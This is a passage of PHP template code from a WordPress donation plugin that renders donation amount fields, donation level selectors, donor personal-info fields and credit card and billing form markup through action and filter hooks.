			 *
			 * @param int              Give_Donate_Form::ID The form ID.
			 * @param array            $args An array of form arguments.
			 * @param Give_Donate_Form $form Form object.
			 *
			 * @since 1.0
			 */
			do_action( 'give_post_form', $form->ID, $args, $form );

		}
		?>

	</div><!--end #give-form-<?php echo absint( $form->ID ); ?>-->
	<?php

	/**
	 * Fires while outputting donation form, after the form wrapper div.
	 *
	 * @param int   Give_Donate_Form::ID The form ID.
	 * @param array $args An array of form arguments.
	 *
	 * @since 1.0
	 */
	do_action( 'give_post_form_output', $form->ID, $args );

	$final_output = ob_get_clean();
	$count ++;

	echo apply_filters( 'give_donate_form', $final_output, $args );
}

/**
 * Give Show Donation Form.
 *
 * Renders the Donation Form, hooks are provided to add to the checkout form.
 * The default Donation Form rendered displays a list of the enabled payment
 * gateways, a user registration form (if enable) and a credit card info form
 * if credit cards are enabled.
 *
 * @param int $form_id The form ID.
 *
 * @return string
 * @since  1.0
 */
function give_show_purchase_form( $form_id, $args ) {

	$payment_mode = give_get_chosen_gateway( $form_id );

	if ( ! isset( $form_id ) && isset( $_POST['give_form_id'] ) ) {
		$form_id = $_POST['give_form_id'];
	}

	/**
	 * Fire before donation form render.
	 *
	 * @since 1.7
	 */
	do_action( 'give_payment_fields_top', $form_id );

	if ( give_can_checkout() && isset( $form_id ) ) {

		/**
		 * Fires while displaying donation form, before registration login.
		 *
		 * @since 1.7
		 */
		do_action( 'give_donation_form_before_register_login', $form_id, $args );

		/**
		 * Fire when register/login form fields render.
		 *
		 * @since 1.7
		 */
		do_action( 'give_donation_form_register_login_fields', $form_id, $args );

		/**
		 * Fire when credit card form fields render.
		 *
		 * @since 1.7
		 */
		do_action( 'give_donation_form_before_cc_form', $form_id, $args );

		// Load the credit card form and allow gateways to load their own if they wish.
		if ( has_action( 'give_' . $payment_mode . '_cc_form' ) ) {
			/**
			 * Fires while displaying donation form, credit card form fields for a given gateway.
			 *
			 * @param int $form_id The form ID.
			 *
			 * @since 1.0
			 */
			do_action( "give_{$payment_mode}_cc_form", $form_id, $args );
		} else {
			/**
			 * Fires while displaying donation form, credit card form fields.
			 *
			 * @param int $form_id The form ID.
			 *
			 * @since 1.0
			 */
			do_action( 'give_cc_form', $form_id, $args );
		}

		/**
		 * Fire after credit card form fields render.
		 *
		 * @since 1.7
		 */
		do_action( 'give_donation_form_after_cc_form', $form_id, $args );

	} else {
		/**
		 * Fire if user can not donate.
		 *
		 * @since 1.7
		 */
		do_action( 'give_donation_form_no_access', $form_id );

	}

	/**
	 * Fire after donation form rendered.
	 *
	 * @since 1.7
	 */
	do_action( 'give_payment_fields_bottom', $form_id, $args );
}

add_action( 'give_donation_form', 'give_show_purchase_form', 10, 2 );

/**
 * Give Show Login/Register Form Fields.
 *
 * @param int $form_id The form ID.
 *
 * @return void
 * @since  1.4.1
 */
function give_show_register_login_fields( $form_id ) {

	$show_register_form = give_show_login_register_option( $form_id );

	if ( ( $show_register_form === 'registration' || ( $show_register_form === 'both' && ! isset( $_GET['login'] ) ) ) && ! is_user_logged_in() ) :
		?>
		<div id="give-checkout-login-register-<?php echo $form_id; ?>">
			<?php
			/**
			 * Fire if user registration form render.
			 *
			 * @since 1.7
			 */
			do_action( 'give_donation_form_register_fields', $form_id );
			?>
		</div>
		<?php
	elseif ( ( $show_register_form === 'login' || ( $show_register_form === 'both' && isset( $_GET['login'] ) ) ) && ! is_user_logged_in() ) :
		?>
		<div id="give-checkout-login-register-<?php echo $form_id; ?>">
			<?php
			/**
			 * Fire if user login form render.
			 *
			 * @since 1.7
			 */
			do_action( 'give_donation_form_login_fields', $form_id );
			?>
		</div>
		<?php
	endif;

	if ( ( ! isset( $_GET['login'] ) && is_user_logged_in() ) || ! isset( $show_register_form ) || 'none' === $show_register_form || 'login' === $show_register_form ) {
		/**
		 * Fire when user info render.
		 *
		 * @since 1.7
		 */
		do_action( 'give_donation_form_after_user_info', $form_id );
	}
}

add_action( 'give_donation_form_register_login_fields', 'give_show_register_login_fields' );

/**
 * Donation Amount Field.
 *
 * Outputs the donation amount field that appears at the top of the donation forms. If the user has custom amount
 * enabled the field will output as a customizable input.
 *
 * @param int   $form_id The form ID.
 * @param array $args    An array of form arguments.
 *
 * @return void
 * @since  1.0
 */
function give_output_donation_amount_top( $form_id = 0, $args = [] ) {

	$give_options        = give_get_settings();
	$variable_pricing    = give_has_variable_prices( $form_id );
	$allow_custom_amount = give_get_meta( $form_id, '_give_custom_amount', true );
	$currency_position   = isset( $give_options['currency_position'] ) ? $give_options['currency_position'] : 'before';
	$symbol              = give_currency_symbol( give_get_currency( $form_id, $args ) );
	$currency_output     = '<span class="give-currency-symbol give-currency-position-' . esc_attr($currency_position) . '">' . esc_html($symbol) . '</span>';
	$default_amount      = give_format_amount(
		give_get_default_form_amount( $form_id ),
		[
			'sanitize' => false,
			'currency' => give_get_currency( $form_id ),
		]
	);
	$custom_amount_text  = give_get_meta( $form_id, '_give_custom_amount_text', true );

	/**
	 * Fires while displaying donation form, before donation level fields.
	 *
	 * @param int   $form_id The form ID.
	 * @param array $args    An array of form arguments.
	 *
	 * @since 1.0
	 */
	do_action( 'give_before_donation_levels', $form_id, $args );

	// Set Price, No Custom Amount Allowed means hidden price field.
	if ( ! give_is_setting_enabled( $allow_custom_amount ) ) {
		?>
		<label class="give-hidden" for="give-amount"><?php esc_html_e( 'Donation Amount:', 'give' ); ?></label>
		<input id="give-amount" class="give-amount-hidden" type="hidden" name="give-amount"
			   value="<?php echo esc_attr($default_amount); ?>" required aria-required="true"/>
		<div class="set-price give-donation-amount form-row-wide">
			<?php
			if ( 'before' === $currency_position ) {
				echo $currency_output;
			}
			?>
			<span id="give-amount-text" class="give-text-input give-amount-top"><?php echo $default_amount; ?></span>
			<?php
			if ( 'after' === $currency_position ) {
				echo $currency_output;
			}
			?>
		</div>
		<?php
	} else {
		// Custom Amount Allowed.
		?>
		<div class="give-total-wrap">
			<div class="give-donation-amount form-row-wide">
				<?php
				if ( 'before' === $currency_position ) {
					echo $currency_output;
				}
				?>
				<label class="give-hidden" for="give-amount"><?php esc_html_e( 'Donation Amount:', 'give' ); ?></label>
				<input class="give-text-input give-amount-top" id="give-amount" name="give-amount" type="text" inputmode="decimal"
					   placeholder="" value="<?php echo esc_attr($default_amount); ?>" autocomplete="off">
				<?php
				if ( 'after' === $currency_position ) {
					echo $currency_output;
				}
				?>
			</div>
		</div>
		<?php
	}

	/**
	 * Fires while displaying donation form, after donation amount field(s).
	 *
	 * @param int   $form_id The form ID.
	 * @param array $args    An array of form arguments.
	 *
	 * @since 1.0
	 */
	do_action( 'give_after_donation_amount', $form_id, $args );

	// Custom Amount Text
	if ( ! $variable_pricing && give_is_setting_enabled( $allow_custom_amount ) && ! empty( $custom_amount_text ) ) {
		?>
		<p class="give-custom-amount-text"><?php echo esc_html($custom_amount_text); ?></p>
		<?php
	}

	// Output Variable Pricing Levels.
	if ( $variable_pricing ) {
		give_output_levels( $form_id );
	}

	/**
	 * Fires while displaying donation form, after donation level fields.
	 *
	 * @param int   $form_id The form ID.
	 * @param array $args    An array of form arguments.
	 *
	 * @since 1.0
	 */
	do_action( 'give_after_donation_levels', $form_id, $args );
}

add_action( 'give_donation_form_top', 'give_output_donation_amount_top', 10, 2 );

/**
 * Outputs the Donation Levels in various formats such as dropdown, radios, and buttons.
 *
 * @since  1.0
 *
 * @param int $form_id The form ID.
 * @return string Donation levels.
 */
function give_output_levels( $form_id ) {

	/**
	 * Filter the variable pricing
	 *
	 * @param array $prices Array of variable prices.
	 * @param int   $form   Form ID.
	 *
	 * @since          1.0
	 * @deprecated     2.2 Use give_get_donation_levels filter instead of give_form_variable_prices.
	 *                 Check Give_Donate_Form::get_prices().
	 */
	$prices = apply_filters( 'give_form_variable_prices', give_get_variable_prices( $form_id ), $form_id );

	$display_style      = give_get_meta( $form_id, '_give_display_style', true );
	$custom_amount      = give_get_meta( $form_id, '_give_custom_amount', true );
	$custom_amount_text = give_get_meta( $form_id, '_give_custom_amount_text', true );

	if ( empty( $custom_amount_text ) ) {
		$custom_amount_text = esc_html__( 'Custom Amount', 'give' );
	}

	$output = '';

	switch ( $display_style ) {
		case 'buttons':
			$output .= '<ul id="give-donation-level-button-wrap" class="give-donation-levels-wrap give-list-inline">';

			foreach ( $prices as $price ) {
				$level_text    = apply_filters( 'give_form_level_text', ! empty( $price['_give_text'] ) ? $price['_give_text'] : give_currency_filter( give_format_amount( $price['_give_amount'], [ 'sanitize' => false ] ), [ 'currency_code' => give_get_currency( $form_id ) ] ), $form_id, $price );
				$level_classes = apply_filters( 'give_form_level_classes', 'give-donation-level-btn give-btn give-btn-level-' . $price['_give_id']['level_id'] . ' ' . ( give_is_default_level_id( $price ) ? 'give-default-level' : '' ), $form_id, $price );

				$formatted_amount = give_format_amount(
					$price['_give_amount'],
					[
						'sanitize' => false,
						'currency' => give_get_currency( $form_id ),
					]
				);

				$output .= sprintf(
					'<li><button type="button" data-price-id="%1$s" class="%2$s" value="%3$s" data-default="%4$s">%5$s</button></li>',
					esc_attr($price['_give_id']['level_id']),
					esc_attr($level_classes),
					esc_attr($formatted_amount),
					array_key_exists( '_give_default', $price ) ? 1 : 0,
					esc_html($level_text)
				);
			}

			// Custom Amount.
			if (
				give_is_setting_enabled( $custom_amount )
				&& ! empty( $custom_amount_text )
			) {

				$output .= sprintf(
					'<li><button type="button" data-price-id="custom" class="give-donation-level-btn give-btn give-btn-level-custom" value="custom">%1$s</button></li>',
					esc_html( $custom_amount_text )
				);
			}

			$output .= '</ul>';

			break;

		case 'radios':
			$output .= '<ul id="give-donation-level-radio-list" class="give-donation-levels-wrap">';

			foreach ( $prices as $price ) {
				$level_text    = apply_filters( 'give_form_level_text', ! empty( $price['_give_text'] ) ? $price['_give_text'] : give_currency_filter( give_format_amount( $price['_give_amount'], [ 'sanitize' => false ] ), [ 'currency_code' => give_get_currency( $form_id ) ] ), $form_id, $price );
				$level_classes = apply_filters( 'give_form_level_classes', 'give-radio-input give-radio-input-level give-radio-level-' . $price['_give_id']['level_id'] . ( give_is_default_level_id( $price ) ? ' give-default-level' : '' ), $form_id, $price );

				$formatted_amount = give_format_amount(
					$price['_give_amount'],
					[
						'sanitize' => false,
						'currency' => give_get_currency( $form_id ),
					]
				);

				$output .= sprintf(
					'<li><input type="radio" data-price-id="%1$s" class="%2$s" value="%3$s" name="give-radio-donation-level" id="give-radio-level-%1$s" %4$s data-default="%5$s"><label for="give-radio-level-%1$s">%6$s</label></li>',
					esc_attr($price['_give_id']['level_id']),
					esc_attr($level_classes),
					esc_attr($formatted_amount),
					( give_is_default_level_id( $price ) ? 'checked="checked"' : '' ),
					array_key_exists( '_give_default', $price ) ? 1 : 0,
					esc_html($level_text)
				);
			}

			// Custom Amount.
			if (
				give_is_setting_enabled( $custom_amount )
				&& ! empty( $custom_amount_text )
			) {
				$output .= sprintf(
					'<li><input type="radio" data-price-id="custom" class="give-radio-input give-radio-input-level give-radio-level-custom" name="give-radio-donation-level" id="give-radio-level-custom" value="custom"><label for="give-radio-level-custom">%1$s</label></li>',
					esc_html( $custom_amount_text )
				);
			}

			$output .= '</ul>';

			break;

		case 'dropdown':
			$output .= '<label for="give-donation-level-select-' . $form_id . '" class="give-hidden">' . esc_html__( 'Choose Your Donation Amount', 'give' ) . ':</label>';
			$output .= '<select id="give-donation-level-select-' . $form_id . '" class="give-select give-select-level give-donation-levels-wrap">';

			// first loop through prices.
			foreach ( $prices as $price ) {
				$level_text    = apply_filters( 'give_form_level_text', ! empty( $price['_give_text'] ) ? $price['_give_text'] : give_currency_filter( give_format_amount( $price['_give_amount'], [ 'sanitize' => false ] ), [ 'currency_code' => give_get_currency( $form_id ) ] ), $form_id, $price );
				$level_classes = apply_filters(
					'give_form_level_classes',
					'give-donation-level-' . $price['_give_id']['level_id'] . ( give_is_default_level_id( $price ) ? ' give-default-level' : '' ),
					$form_id,
					$price
				);

				$formatted_amount = give_format_amount(
					$price['_give_amount'],
					[
						'sanitize' => false,
						'currency' => give_get_currency( $form_id ),
					]
				);

				$output .= sprintf(
					'<option data-price-id="%1$s" class="%2$s" value="%3$s" %4$s data-default="%5$s">%6$s</option>',
					esc_attr($price['_give_id']['level_id']),
					esc_attr($level_classes),
					esc_attr($formatted_amount),
					( give_is_default_level_id( $price ) ? 'selected="selected"' : '' ),
					array_key_exists( '_give_default', $price ) ? 1 : 0,
					esc_html($level_text)
				);
			}

			// Custom Amount.
			if ( give_is_setting_enabled( $custom_amount ) && ! empty( $custom_amount_text ) ) {
				$output .= sprintf(
					'<option data-price-id="custom" class="give-donation-level-custom" value="custom">%1$s</option>',
					esc_html( $custom_amount_text )
				);
			}

			$output .= '</select>';

			break;
	}

	echo apply_filters( 'give_form_level_output', $output, $form_id );
}

/**
 * Display Reveal & Lightbox Button.
 *
 * Outputs a button to reveal form fields.
 *
 * @param int   $form_id The form ID.
 * @param array $args    An array of form arguments.
 *
 * @return string Checkout button.
 * @since  1.0
 */
function give_display_checkout_button( $form_id, $args ) {
	$display_option = ( isset( $args['display_style'] ) && ! empty( $args['display_style'] ) )
		? $args['display_style']
		: give_get_meta( $form_id, '_give_payment_display', true );

	if ( 'button' === $display_option ) {
		add_action( 'give_post_form', 'give_add_button_open_form', 10, 2 );
		return '';
	}

	if ( $display_option === 'onpage' ) {
		return '';
	}

	$display_label_field = give_get_meta( $form_id, '_give_reveal_label', true );
	$display_label       = ! empty( $args['continue_button_title'] ) ? $args['continue_button_title'] : ( ! empty( $display_label_field ) ? $display_label_field : esc_html__( 'Donate Now', 'give' ) );

	$output = '<button type="button" class="give-btn give-btn-' . esc_attr($display_option) . '">' . esc_html($display_label) . '</button>';

	/**
	 * filter the button html
	 *
	 * @param string $output Button HTML.
	 * @param int $form_id Form ID.
	 * @param array $args Shortcode argument
	 */
	echo apply_filters( 'give_display_checkout_button', $output, $form_id, $args );
}

add_action( 'give_after_donation_levels', 'give_display_checkout_button', 10, 2 );

/**
 * Display MagnificPopup Button.
 *
 * @since 2.5.11
 *
 * @param $form_id
 * @param $args
 *
 * @return string
 */
function give_add_button_open_form( $form_id, $args ) {
	$display_label_field = give_get_meta( $form_id, '_give_reveal_label', true );
	$display_label       = ! empty( $args['continue_button_title'] )
		? $args['continue_button_title']
		: ( ! empty( $display_label_field ) ? $display_label_field : esc_html__( 'Donate Now', 'give' ) );

	$output = sprintf(
		'<button type="button" class="give-btn give-btn-modal">%1$s</button>',
		esc_html($display_label)
	);

	/**
	 * filter the button html
	 *
	 * @param string $output Button HTML.
	 * @param int $form_id Form ID.
	 * @param array $args Shortcode argument
	 */
	echo apply_filters( 'give_display_checkout_button', $output, $form_id, $args );

	// Remove action otherwise button will be added to coming form.
	// @see https://github.com/impress-org/givewp/issues/4395
	remove_action( 'give_post_form', 'give_add_button_open_form', 10 );
}

/**
 * Shows the User Info fields in the Personal Info box, more fields can be added via the hooks provided.
 *
 * @since 3.1.0 Add the give_user_info_fields_user_info filter
 * @since 2.25.0 add radio group to conditionally enable/disable company name field
 * @since      1.0
 *
 * @param int $form_id The form ID.
 *
 * @return void
 * @see        For Pattern Attribute: https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Form_validation
 */
function give_user_info_fields( $form_id ) {

	// Get user info.
	$give_user_info = apply_filters('give_user_info_fields_user_info', _give_get_prefill_form_field_values( $form_id ), $form_id );

	$title          = ! empty( $give_user_info['give_title'] ) ? $give_user_info['give_title'] : '';
	$first_name     = ! empty( $give_user_info['give_first'] ) ? $give_user_info['give_first'] : '';
	$last_name      = ! empty( $give_user_info['give_last'] ) ? $give_user_info['give_last'] : '';
	$company_name   = ! empty( $give_user_info['company_name'] ) ? $give_user_info['company_name'] : '';
	$email          = ! empty( $give_user_info['give_email'] ) ? $give_user_info['give_email'] : '';
	$title_prefixes = give_get_name_title_prefixes( $form_id );

	/**
	 * Fire before user personal information fields
	 *
	 * @since 1.7
	 */
	do_action( 'give_donation_form_before_personal_info', $form_id );

	$title_prefix_classes = '';
	if ( give_is_name_title_prefix_enabled( $form_id ) ) {
		$title_prefix_classes = 'give-title-prefix-wrap';
	}
	?>
	<fieldset id="give_checkout_user_info" class="<?php echo esc_html( $title_prefix_classes ); ?>">
		<legend>
			<?php echo esc_html( apply_filters( 'give_checkout_personal_info_text', __( 'Personal Info', 'give' ) ) ); ?>
		</legend>

		<?php if ( give_is_name_title_prefix_enabled( $form_id ) && is_array( $title_prefixes ) && count( $title_prefixes ) > 0 ) { ?>
			<p id="give-title-wrap" class="form-row form-row-title form-row-responsive">
				<label class="give-label" for="give-title">
					<?php esc_attr_e( 'Title', 'give' ); ?>
					<?php if ( give_field_is_required( 'give_title', $form_id ) ) : ?>
						<span class="give-required-indicator">*</span>
					<?php endif ?>
					<?php echo Give()->tooltips->render_help( __( 'Title is used to personalize your donation record..', 'give' ) ); ?>
				</label>
				<select
					class="give-input"
					type="text"
					name="give_title"
					id="give-title"
                    <?php
                    echo(give_field_is_required('give_title', $form_id) ? ' required aria-required="true" ' : ''); ?>
                >
                    <?php
                    foreach ($title_prefixes as $key => $value) { ?>
                        <option
                            value="<?php
                            echo esc_html($value); ?>" <?php
                        selected($value, $title, true); ?>><?php
                            echo esc_html($value); ?></option>
                    <?php
                    } ?>
                </select>
            </p>
        <?php
        } ?>

        <p id="give-first-name-wrap" class="form-row form-row-first form-row-responsive">
            <label class="give-label" for="give-first">
                <?php
                esc_attr_e('First Name', 'give'); ?>
                <?php
                if (give_field_is_required('give_first', $form_id)) : ?>
                    <span class="give-required-indicator">*</span>
                <?php
                endif ?>
                <?php
                echo Give()->tooltips->render_help(__('First Name is used to personalize your donation record.',
                    'give')); ?>
            </label>
            <input
                class="give-input required"
                type="text"
                name="give_first"
                autocomplete="given-name"
                placeholder="<?php
                esc_attr_e('First Name', 'give'); ?>"
                id="give-first"
                value="<?php
                echo esc_html($first_name); ?>"
                <?php
                echo(give_field_is_required('give_first', $form_id) ? ' required aria-required="true" ' : ''); ?>
            />
        </p>

        <p id="give-last-name-wrap" class="form-row form-row-last form-row-responsive">
            <label class="give-label" for="give-last">
                <?php
                esc_attr_e('Last Name', 'give'); ?>
                <?php
                if (give_field_is_required('give_last', $form_id)) : ?>
                    <span class="give-required-indicator">*</span>
                <?php
                endif ?>
                <?php
                echo Give()->tooltips->render_help(__('Last Name is used to personalize your donation record.',
                    'give')); ?>
            </label>

            <input
                class="give-input<?php
                echo(give_field_is_required('give_last', $form_id) ? ' required' : ''); ?>"
                type="text"
                name="give_last"
                autocomplete="family-name"
                id="give-last"
                placeholder="<?php
                esc_attr_e('Last Name', 'give'); ?>"
                value="<?php
                echo esc_html($last_name); ?>"
                <?php
                echo(give_field_is_required('give_last', $form_id) ? ' required aria-required="true" ' : ''); ?>
            />
        </p>

        <?php
        if (give_is_company_field_enabled($form_id)) :
            $give_company = give_field_is_required('give_company_name', $form_id);

            if ( ! $give_company) :
                ?>
                <div id="give-company-radio-list-wrap" class="form-row form-row-wide">
                    <label><?php
                        esc_html_e('Is this donation on behalf of a company?', 'give'); ?></label>
                    <ul id="<?php
                    echo esc_attr('give-company-name-radio-list'); ?>" class="give-company-radio-list">
                        <li>
                            <input
                                checked
                                type="radio"
                                id="<?php
                                echo esc_attr('give-no-company'); ?>"
                                class="give_company_option"
                                name="give_company_option"
                                value="no"
                            />
                            <label for="<?php
                            echo esc_attr('give-no-company'); ?>" class="give-company-option"
                                   id="<?php
                                   echo esc_attr('give-no-company'); ?>">
                                <?php
                                esc_html_e('No', 'give'); ?>
                            </label>
                        </li>
                        <li>
                            <input
                                type="radio"
                                id="<?php
                                echo esc_attr('give-has-company'); ?>"
                                class="give_company_option"
                                name="give_company_option"
                                value="yes"
                            />
                            <label for="<?php
                            echo esc_attr('give-has-company'); ?>" class="give-company-option"
                                   id="<?php
                                   echo esc_attr('give-has-company'); ?>">
                                <?php
                                esc_html_e('Yes', 'give'); ?>
                            </label>
                        </li>
                    </ul>
                </div>
            <?php
            endif; ?>
            <p id="give-company-wrap" class="form-row form-row-wide">
                <label class="give-label" for="give-company">
                    <?php
                    esc_attr_e('Company Name', 'give'); ?>
                    <?php
                    if ($give_company) : ?>
                        <span class="give-required-indicator">*</span>
                    <?php
                    endif; ?>
                    <?php
                    echo Give()->tooltips->render_help(__('Donate on behalf of Company', 'give')); ?>
                </label>
                <input
                    class="give-input<?php
                    echo($give_company ? ' required' : ''); ?>"
                    type="text"
                    name="give_company_name"
                    placeholder="<?php
                    esc_attr_e('Company Name', 'give'); ?>"
                    id="give-company"
                    value="<?php
                    echo esc_html($company_name); ?>"
                    <?php
                    echo($give_company ? ' required aria-required="true" ' : ''); ?>
                />
            </p>
        <?php
        endif ?>

        <?php
        /**
         * Fire before user email field
         *
         * @since 1.7
         */
        do_action('give_donation_form_before_email', $form_id);
        ?>
        <p id="give-email-wrap" class="form-row form-row-wide">
            <label class="give-label" for="give-email">
                <?php
                esc_attr_e('Email Address', 'give'); ?>
                <?php
                if (give_field_is_required('give_email', $form_id)) { ?>
                    <span class="give-required-indicator">*</span>
                    <?php
                } ?>
                <?php
                echo Give()->tooltips->render_help(__('We will send the donation receipt to this address.', 'give')); ?>
            </label>
            <input
                class="give-input required"
                type="email"
                name="give_email"
                autocomplete="email"
                placeholder="<?php
                esc_attr_e('Email Address', 'give'); ?>"
                id="give-email"
                value="<?php
                echo esc_html($email); ?>"
                <?php
                echo(give_field_is_required('give_email', $form_id) ? ' required aria-required="true" ' : ''); ?>
            />

        </p>

        <?php
        if (give_is_anonymous_donation_field_enabled($form_id)) : ?>
            <?php
            $is_anonymous_donation = isset($_POST['give_anonymous_donation']) ? absint($_POST['give_anonymous_donation']) : 0; ?>
            <p id="give-anonymous-donation-wrap" class="form-row form-row-wide">
                <label class="give-label" for="give-anonymous-donation">
                    <input
                        type="checkbox"
                        class="give-input<?php
                        echo(give_field_is_required('give_anonymous_donation', $form_id) ? ' required' : ''); ?>"
                        name="give_anonymous_donation"
                        id="give-anonymous-donation"
                        value="1"
                        <?php
                        echo(give_field_is_required('give_anonymous_donation',
                            $form_id) ? ' required aria-required="true" ' : ''); ?>
                        <?php
                        checked(1, $is_anonymous_donation); ?>
                    >
                    <?php
                    /**
                     * Filters the checkbox label.
                     *
                     * @since 2.4.1
                     */
                    echo apply_filters('give_anonymous_donation_checkbox_label',
                        __('Make this an anonymous donation.', 'give'), $form_id);

                    if ( give_field_is_required( 'give_comment', $form_id ) ) {
						?>
						<span class="give-required-indicator">*</span>
					<?php } ?>
					<?php
					// Conditional tooltip text when comments enabled:
					// https://github.com/impress-org/give/issues/3911
					$anonymous_donation_tooltip = give_is_donor_comment_field_enabled( $form_id ) ? esc_html__( 'Would you like to prevent your name, image, and comment from being displayed publicly?', 'give' ) : esc_html__( 'Would you like to prevent your name and image from being displayed publicly?', 'give' );

					echo Give()->tooltips->render_help( $anonymous_donation_tooltip );
					?>

				</label>
			</p>
		<?php endif; ?>

		<?php if ( give_is_donor_comment_field_enabled( $form_id ) ) : ?>
			<p id="give-comment-wrap" class="form-row form-row-wide">
				<label class="give-label" for="give-comment">
					<?php _e( 'Comment', 'give' ); ?>
					<?php if ( give_field_is_required( 'give_comment', $form_id ) ) { ?>
						<span class="give-required-indicator">*</span>
					<?php } ?>
					<?php echo Give()->tooltips->render_help( __( 'Would you like to add a comment to this donation?', 'give' ) ); ?>
				</label>

				<textarea
					class="give-input<?php echo( give_field_is_required( 'give_comment', $form_id ) ? ' required' : '' ); ?>"
					name="give_comment"
					placeholder="<?php _e( 'Leave a comment', 'give' ); ?>"
					id="give-comment"
					<?php echo( give_field_is_required( 'give_comment', $form_id ) ? ' required aria-required="true" ' : '' ); ?>
				><?php echo isset( $_POST['give_comment'] ) ? give_clean( $_POST['give_comment'] ) : ''; ?></textarea>

			</p>
		<?php endif; ?>
		<?php
		/**
		 * Fire after user email field
		 *
		 * @since 1.7
		 */
		do_action( 'give_donation_form_after_email', $form_id );

		/**
		 * Fire after personal email field
		 *
		 * @since 1.7
		 */
		do_action( 'give_donation_form_user_info', $form_id );
		?>
	</fieldset>
	<?php
	/**
	 * Fire after user personal information fields
	 *
	 * @since 1.7
	 */
	do_action( 'give_donation_form_after_personal_info', $form_id );
}

add_action( 'give_donation_form_after_user_info', 'give_user_info_fields' );
add_action( 'give_register_fields_before', 'give_user_info_fields' );

/**
 * Renders the credit card info form.
 *
 * @param int $form_id The form ID.
 *
 * @return void
 * @since  1.0
 */
function give_get_cc_form( $form_id ) {

	ob_start();

	/**
	 * Fires while rendering credit card info form, before the fields.
	 *
	 * @param int $form_id The form ID.
	 *
	 * @since 1.0
	 */
	do_action( 'give_before_cc_fields', $form_id );
	?>
	<fieldset id="give_cc_fields-<?php echo $form_id; ?>" class="give-do-validate">
		<legend><?php echo apply_filters( 'give_credit_card_fieldset_heading', esc_html__( 'Credit Card Info', 'give' ) ); ?></legend>
		<?php if ( is_ssl() ) : ?>
			<div id="give_secure_site_wrapper-<?php echo $form_id; ?>">
				<span class="give-icon padlock"></span>
				<span><?php _e( 'This is a secure SSL encrypted payment.', 'give' ); ?></span>
			</div>
		<?php endif; ?>
		<p id="give-card-number-wrap-<?php echo $form_id; ?>" class="form-row form-row-two-thirds form-row-responsive">
			<label for="card_number-<?php echo $form_id; ?>" class="give-label">
				<?php _e( 'Card Number', 'give' ); ?>
				<span class="give-required-indicator">*</span>
				<?php echo Give()->tooltips->render_help( __( 'The (typically) 16 digits on the front of your credit card.', 'give' ) ); ?>
				<span class="card-type"></span>
			</label>

			<input type="tel" autocomplete="off" name="card_number" id="card_number-<?php echo $form_id; ?>"
				   class="card-number give-input required" placeholder="<?php _e( 'Card Number', 'give' ); ?>"
				   required aria-required="true"/>
		</p>

		<p id="give-card-cvc-wrap-<?php echo $form_id; ?>" class="form-row form-row-one-third form-row-responsive">
			<label for="card_cvc-<?php echo $form_id; ?>" class="give-label">
				<?php _e( 'CVC', 'give' ); ?>
				<span class="give-required-indicator">*</span>
				<?php echo Give()->tooltips->render_help( __( 'The 3 digit (back) or 4 digit (front) value on your card.', 'give' ) ); ?>
			</label>

			<input type="tel" size="4" autocomplete="off" name="card_cvc" id="card_cvc-<?php echo $form_id; ?>"
				   class="card-cvc give-input required" placeholder="<?php _e( 'CVC', 'give' ); ?>"
				   required aria-required="true"/>
		</p>

		<p id="give-card-name-wrap-<?php echo $form_id; ?>" class="form-row form-row-two-thirds form-row-responsive">
			<label for="card_name-<?php echo $form_id; ?>" class="give-label">
				<?php _e( 'Cardholder Name', 'give' ); ?>
				<span class="give-required-indicator">*</span>
				<?php echo Give()->tooltips->render_help( __( 'The name of the credit card account holder.', 'give' ) ); ?>
			</label>

			<input type="text" autocomplete="off" name="card_name" id="card_name-<?php echo $form_id; ?>"
				   class="card-name give-input required" placeholder="<?php esc_attr_e( 'Cardholder Name', 'give' ); ?>"
				   required aria-required="true"/>
		</p>
		<?php
		/**
		 * Fires while rendering credit card info form, before expiration fields.
		 *
		 * @param int $form_id The form ID.
		 *
		 * @since 1.0
		 */
		do_action( 'give_before_cc_expiration' );
		?>
		<p class="card-expiration form-row form-row-one-third form-row-responsive">
			<label for="card_expiry-<?php echo $form_id; ?>" class="give-label">
				<?php _e( 'Expiration', 'give' ); ?>
				<span class="give-required-indicator">*</span>
				<?php echo Give()->tooltips->render_help( __( 'The date your credit card expires, typically on the front of the card.', 'give' ) ); ?>
			</label>

			<input type="hidden" id="card_exp_month-<?php echo $form_id; ?>" name="card_exp_month"
				   class="card-expiry-month"/>
			<input type="hidden" id="card_exp_year-<?php echo $form_id; ?>" name="card_exp_year"
				   class="card-expiry-year"/>

			<input type="tel" autocomplete="off" name="card_expiry" id="card_expiry-<?php echo $form_id; ?>"
				   class="card-expiry give-input required" placeholder="<?php esc_attr_e( 'MM / YY', 'give' ); ?>"
				   required aria-required="true"/>
		</p>
		<?php
		/**
		 * Fires while rendering credit card info form, after expiration fields.
		 *
		 * @param int $form_id The form ID.
		 *
		 * @since 1.0
		 */
		do_action( 'give_after_cc_expiration', $form_id );
		?>
	</fieldset>
	<?php
	/**
	 * Fires while rendering credit card info form, before the fields.
	 *
	 * @param int $form_id The form ID.
	 *
	 * @since 1.0
	 */
	do_action( 'give_after_cc_fields', $form_id );

	echo ob_get_clean();
}

add_action( 'give_cc_form', 'give_get_cc_form' );

/**
 * Outputs the default credit card address fields.
 *
 * @since 3.1.0 Add the give_default_cc_address_fields_user_info filter
 * @since  1.0
 *
 * @param int $form_id The form ID.
 * @param bool $return Whether to return the output or echo it. *
 *
 * @return void|string
 */
function give_default_cc_address_fields($form_id, $return = false)
{
	// Get user info.
	$give_user_info = apply_filters('give_default_cc_address_fields_user_info', _give_get_prefill_form_field_values( $form_id ), $form_id);

	ob_start();
	?>
	<fieldset id="give_cc_address" class="cc-address">
		<legend><?php echo apply_filters( 'give_billing_details_fieldset_heading', esc_html__( 'Billing Details', 'give' ) ); ?></legend>
		<?php
		/**
		 * Fires while rendering credit card billing form, before address fields.
		 *
		 * @param int $form_id The form ID.
		 *
		 * @since 1.0
		 */
		do_action( 'give_cc_billing_top' );

		// For Country.
		$selected_country = give_get_country();
		if ( ! empty( $give_user_info['billing_country'] ) && '*' !== $give_user_info['billing_country'] ) {
			$selected_country = $give_user_info['billing_country'];
		}
		$countries = give_get_country_list();

		// For state.
		$selected_state = '';
		if ( $selected_country === give_get_country() ) {
			// Get default selected state by admin.
			$selected_state = give_get_state();
		}
		// Get the last payment made by user states.
		if ( ! empty( $give_user_info['card_state'] ) && '*' !== $give_user_info['card_state'] ) {
			$selected_state = $give_user_info['card_state'];
		}
		// Get the country code.
		if ( ! empty( $give_user_info['billing_country'] ) && '*' !== $give_user_info['billing_country'] ) {
			$selected_country = $give_user_info['billing_country'];
		}

